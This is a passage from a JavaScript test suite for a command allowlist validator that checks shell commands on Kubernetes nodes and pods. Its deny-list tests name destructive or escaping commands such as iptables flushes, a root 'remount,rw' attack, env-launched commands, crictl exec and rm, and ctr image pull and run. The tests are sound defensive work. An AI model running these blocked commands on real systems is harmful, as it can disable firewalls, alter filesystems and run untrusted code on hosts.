      expect(err).toContain("-F");
    });

    it("blocks iptables -X", () => {
      const err = validateCommandRestrictions("iptables -X CUSTOM_CHAIN");
      expect(err).not.toBeNull();
      expect(err).toContain("-X");
    });

    it("blocks iptables -P", () => {
      const err = validateCommandRestrictions("iptables -P INPUT DROP");
      expect(err).not.toBeNull();
      expect(err).toContain("-P");
    });

    it("blocks iptables --flush", () => {
      const err = validateCommandRestrictions("iptables --flush");
      expect(err).not.toBeNull();
      expect(err).toContain("--flush");
    });

    it("blocks iptables -Z (zero counters)", () => {
      const err = validateCommandRestrictions("iptables -Z");
      expect(err).not.toBeNull();
      expect(err).toContain("-Z");
    });

    it("blocks ip6tables -A", () => {
      const err = validateCommandRestrictions("ip6tables -A INPUT -j DROP");
      expect(err).not.toBeNull();
      expect(err).toContain("-A");
    });

    it("blocks combined short flags hiding unsafe ops (iptables -LA)", () => {
      const err = validateCommandRestrictions("iptables -LA");
      expect(err).not.toBeNull();
      expect(err).toContain("-LA");
    });
  });

  // ─── B4: Perftest ──────────────────────────────────────────

  describe("perftest restrictions", () => {
    it("allows common perftest flags", () => {
      expect(validateCommandRestrictions("ib_write_bw -s 65536 -D 10 -d mlx5_0")).toBeNull();
      expect(validateCommandRestrictions("ib_read_lat -a -F")).toBeNull();
      expect(validateCommandRestrictions("ib_send_bw -p 18515 10.0.0.1")).toBeNull();
      expect(validateCommandRestrictions("raw_ethernet_bw -s 1024 -D 5")).toBeNull();
      expect(validateCommandRestrictions("ib_atomic_bw --report_gbits")).toBeNull();
    });

    it("blocks ib_write_bw --output", () => {
      const err = validateCommandRestrictions("ib_write_bw --output=/tmp/r.txt");
      expect(err).not.toBeNull();
      expect(err).toContain("--output");
    });

    it("blocks ib_read_bw --out_json_file", () => {
      const err = validateCommandRestrictions("ib_read_bw --out_json_file=/tmp/r.json");
      expect(err).not.toBeNull();
      expect(err).toContain("--out_json_file");
    });

    it("blocks ib_send_lat --out_json", () => {
      const err = validateCommandRestrictions("ib_send_lat --out_json");
      expect(err).not.toBeNull();
      expect(err).toContain("--out_json");
    });
  });

  // ─── top (batch mode required) ───────────────────────────────

  describe("top restrictions", () => {
    it("allows top in batch mode", () => {
      expect(validateCommandRestrictions("top -b -n 1")).toBeNull();
      expect(validateCommandRestrictions("top -b -n 5 -d 2")).toBeNull();
      expect(validateCommandRestrictions("top --batch -n 1 -p 1234")).toBeNull();
      expect(validateCommandRestrictions("top -b -H -c -o %CPU")).toBeNull();
    });

    it("blocks top without -b (interactive mode)", () => {
      const err = validateCommandRestrictions("top");
      expect(err).not.toBeNull();
      expect(err).toContain("requires one of");
    });

    it("blocks top -n without -b", () => {
      const err = validateCommandRestrictions("top -n 1");
      expect(err).not.toBeNull();
      expect(err).toContain("requires one of");
    });
  });

  // ─── Existing validators (still working) ────────────────────

  describe("awk restrictions (awk removed from whitelist entirely)", () => {
    it("awk is not in COMMANDS", () => {
      expect("awk" in COMMANDS).toBe(false);
    });

    it("gawk is not in COMMANDS", () => {
      expect("gawk" in COMMANDS).toBe(false);
    });
  });

  describe("ip restrictions", () => {
    it("allows ip addr show", () => {
      expect(validateCommandRestrictions("ip addr show")).toBeNull();
    });

    it("allows ip addr (defaults to show)", () => {
      expect(validateCommandRestrictions("ip addr")).toBeNull();
    });

    it("allows ip -s link show", () => {
      expect(validateCommandRestrictions("ip -s link show")).toBeNull();
    });

    it("blocks ip addr add", () => {
      const err = validateCommandRestrictions("ip addr add 10.0.0.1/24 dev eth0");
      expect(err).not.toBeNull();
      expect(err).toContain("add");
    });

    it("blocks ip route del", () => {
      const err = validateCommandRestrictions("ip route del default");
      expect(err).not.toBeNull();
      expect(err).toContain("del");
    });

    it("blocks ip link set", () => {
      const err = validateCommandRestrictions("ip link set eth0 down");
      expect(err).not.toBeNull();
      expect(err).toContain("set");
    });
  });

  describe("mount restrictions", () => {
    it("allows mount listing", () => {
      expect(validateCommandRestrictions("mount")).toBeNull();
      expect(validateCommandRestrictions("mount -l")).toBeNull();
      expect(validateCommandRestrictions("mount -t ext4")).toBeNull();
      expect(validateCommandRestrictions("mount -v")).toBeNull();
      expect(validateCommandRestrictions("mount -t=nfs")).toBeNull();
    });

    it("blocks actual mount", () => {
      const err = validateCommandRestrictions("mount /dev/sda1 /mnt");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks mount -o remount,rw (remount attack)", () => {
      const err = validateCommandRestrictions("mount -o remount,rw /");
      expect(err).not.toBeNull();
      expect(err).toContain("-o");
    });

    it("blocks mount --options", () => {
      const err = validateCommandRestrictions("mount --options remount,rw /");
      expect(err).not.toBeNull();
      expect(err).toContain("--options");
    });

    it("blocks mount --bind", () => {
      const err = validateCommandRestrictions("mount --bind /src /dst");
      expect(err).not.toBeNull();
      expect(err).toContain("--bind");
    });

    it("blocks mount -a (mount all)", () => {
      const err = validateCommandRestrictions("mount -a");
      expect(err).not.toBeNull();
      expect(err).toContain("-a");
    });
  });

  describe("env restrictions", () => {
    it("allows env listing", () => {
      expect(validateCommandRestrictions("env")).toBeNull();
      expect(validateCommandRestrictions("env -0")).toBeNull();
      expect(validateCommandRestrictions("env FOO=bar")).toBeNull();
    });

    it("blocks env command execution", () => {
      const err = validateCommandRestrictions("env ls");
      expect(err).not.toBeNull();
      expect(err).toContain("cannot be used to execute commands");
    });

    it("blocks env VAR=val then command", () => {
      const err = validateCommandRestrictions("env PATH=/usr/bin ls");
      expect(err).not.toBeNull();
      expect(err).toContain("cannot be used to execute commands");
    });
  });

  describe("systemctl restrictions", () => {
    it("allows systemctl status kubelet", () => {
      expect(validateCommandRestrictions("systemctl status kubelet")).toBeNull();
    });

    it("allows systemctl show kubelet", () => {
      expect(validateCommandRestrictions("systemctl show kubelet")).toBeNull();
    });

    it("allows systemctl list-units", () => {
      expect(validateCommandRestrictions("systemctl list-units")).toBeNull();
    });

    it("allows systemctl is-active kubelet", () => {
      expect(validateCommandRestrictions("systemctl is-active kubelet")).toBeNull();
    });

    it("allows systemctl cat kubelet", () => {
      expect(validateCommandRestrictions("systemctl cat kubelet")).toBeNull();
    });

    it("allows systemctl list-timers", () => {
      expect(validateCommandRestrictions("systemctl list-timers")).toBeNull();
    });

    it("blocks systemctl restart kubelet", () => {
      const err = validateCommandRestrictions("systemctl restart kubelet");
      expect(err).not.toBeNull();
      expect(err).toContain("restart");
    });

    it("blocks systemctl stop kubelet", () => {
      const err = validateCommandRestrictions("systemctl stop kubelet");
      expect(err).not.toBeNull();
      expect(err).toContain("stop");
    });

    it("blocks systemctl start kubelet", () => {
      const err = validateCommandRestrictions("systemctl start kubelet");
      expect(err).not.toBeNull();
      expect(err).toContain("start");
    });

    it("blocks systemctl enable kubelet", () => {
      const err = validateCommandRestrictions("systemctl enable kubelet");
      expect(err).not.toBeNull();
      expect(err).toContain("enable");
    });

    it("blocks systemctl disable kubelet", () => {
      const err = validateCommandRestrictions("systemctl disable kubelet");
      expect(err).not.toBeNull();
      expect(err).toContain("disable");
    });
  });

  describe("crictl restrictions", () => {
    it("allows crictl ps", () => {
      expect(validateCommandRestrictions("crictl ps")).toBeNull();
    });

    it("allows crictl images", () => {
      expect(validateCommandRestrictions("crictl images")).toBeNull();
    });

    it("allows crictl inspect abc123", () => {
      expect(validateCommandRestrictions("crictl inspect abc123")).toBeNull();
    });

    it("allows crictl inspectp abc123", () => {
      expect(validateCommandRestrictions("crictl inspectp abc123")).toBeNull();
    });

    it("allows crictl logs abc123", () => {
      expect(validateCommandRestrictions("crictl logs abc123")).toBeNull();
    });

    it("allows crictl pods", () => {
      expect(validateCommandRestrictions("crictl pods")).toBeNull();
    });

    it("allows crictl stats", () => {
      expect(validateCommandRestrictions("crictl stats")).toBeNull();
    });

    it("allows crictl version", () => {
      expect(validateCommandRestrictions("crictl version")).toBeNull();
    });

    it("blocks crictl rm abc123", () => {
      const err = validateCommandRestrictions("crictl rm abc123");
      expect(err).not.toBeNull();
      expect(err).toContain("rm");
    });

    it("blocks crictl rmi abc123", () => {
      const err = validateCommandRestrictions("crictl rmi abc123");
      expect(err).not.toBeNull();
      expect(err).toContain("rmi");
    });

    it("blocks crictl stop abc123", () => {
      const err = validateCommandRestrictions("crictl stop abc123");
      expect(err).not.toBeNull();
      expect(err).toContain("stop");
    });

    it("blocks crictl exec abc123 ls", () => {
      const err = validateCommandRestrictions("crictl exec abc123 ls");
      expect(err).not.toBeNull();
      expect(err).toContain("exec");
    });
  });

  describe("ctr restrictions", () => {
    it("allows ctr images ls", () => {
      expect(validateCommandRestrictions("ctr images ls")).toBeNull();
    });

    it("allows ctr containers list", () => {
      expect(validateCommandRestrictions("ctr containers list")).toBeNull();
    });

    it("allows ctr tasks ls", () => {
      expect(validateCommandRestrictions("ctr tasks ls")).toBeNull();
    });

    it("allows ctr version", () => {
      expect(validateCommandRestrictions("ctr version")).toBeNull();
    });

    it("allows ctr info", () => {
      expect(validateCommandRestrictions("ctr info")).toBeNull();
    });

    it("allows ctr -n k8s.io images ls", () => {
      expect(validateCommandRestrictions("ctr -n k8s.io images ls")).toBeNull();
    });

    it("blocks ctr images pull", () => {
      const err = validateCommandRestrictions("ctr images pull docker.io/library/nginx:latest");
      expect(err).not.toBeNull();
      expect(err).toContain("pull");
    });

    it("blocks ctr run", () => {
      const err = validateCommandRestrictions("ctr run docker.io/library/nginx:latest nginx-container");
      expect(err).not.toBeNull();
      expect(err).toContain("run");
    });

    it("blocks ctr tasks kill", () => {
      const err = validateCommandRestrictions("ctr tasks kill abc123");
      expect(err).not.toBeNull();
      expect(err).toContain("kill");
    });

    it("blocks ctr images rm", () => {
      const err = validateCommandRestrictions("ctr images rm nginx:latest");
      expect(err).not.toBeNull();
      expect(err).toContain("rm");
    });
  });

  describe("tee restrictions", () => {
    it("allows bare tee", () => {
      expect(validateCommandRestrictions("tee")).toBeNull();
    });

    it("allows tee /dev/null", () => {
      expect(validateCommandRestrictions("tee /dev/null")).toBeNull();
    });

    it("allows tee -a /dev/null", () => {
      expect(validateCommandRestrictions("tee -a /dev/null")).toBeNull();
    });

    it("blocks tee /tmp/out.txt", () => {
      const err = validateCommandRestrictions("tee /tmp/out.txt");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });

    it("blocks tee -a /var/log/foo", () => {
      const err = validateCommandRestrictions("tee -a /var/log/foo");
      expect(err).not.toBeNull();
      expect(err).toContain("not allowed");
    });
  });

  describe("non-restricted commands pass through", () => {
    it("returns null for commands without restrictions", () => {
      expect(validateCommandRestrictions("ls -la")).toBeNull();
      expect(validateCommandRestrictions("grep pattern file")).toBeNull();
      expect(validateCommandRestrictions("cat /etc/os-release")).toBeNull();
    });

    it("returns null for empty input", () => {
      expect(validateCommandRestrictions("")).toBeNull();
    });
  });

  describe("grep -r blocked per-command, not per-category (#218)", () => {
    const local = { context: "local", piped: true };
    const node  = { context: "node" };
    const pod   = { context: "pod" };

    it("blocks grep -r in all contexts", () => {
      for (const opts of [local, node, pod]) {
        const err = validateCommandRestrictions("grep -r pattern .", opts);
        expect(err).not.toBeNull();
      }
    });

    it("blocks grep -R and --recursive", () => {
      expect(validateCommandRestrictions("grep -R pattern .", local)).not.toBeNull();
      expect(validateCommandRestrictions("grep --recursive pattern .", local)).not.toBeNull();
    });

    it("blocks egrep/fgrep -r", () => {
      expect(validateCommandRestrictions("egrep -r pattern .", local)).not.toBeNull();
      expect(validateCommandRestrictions("fgrep -r pattern .", local)).not.toBeNull();
    });

    it("allows jq -r in local context", () => {
      expect(validateCommandRestrictions("jq -r .name", local)).toBeNull();
    });

    it("allows sort -r in local context", () => {
      expect(validateCommandRestrictions("sort -r", local)).toBeNull();
    });

    it("allows sort -rn (combined short flags) in local context", () => {
      expect(validateCommandRestrictions("sort -rn", local)).toBeNull();
    });

    it("allows yq -r in local context", () => {
      expect(validateCommandRestrictions("yq -r .name", local)).toBeNull();
    });

    it("allows grep without -r in local context", () => {
      expect(validateCommandRestrictions("grep pattern", local)).toBeNull();
    });
  });
});
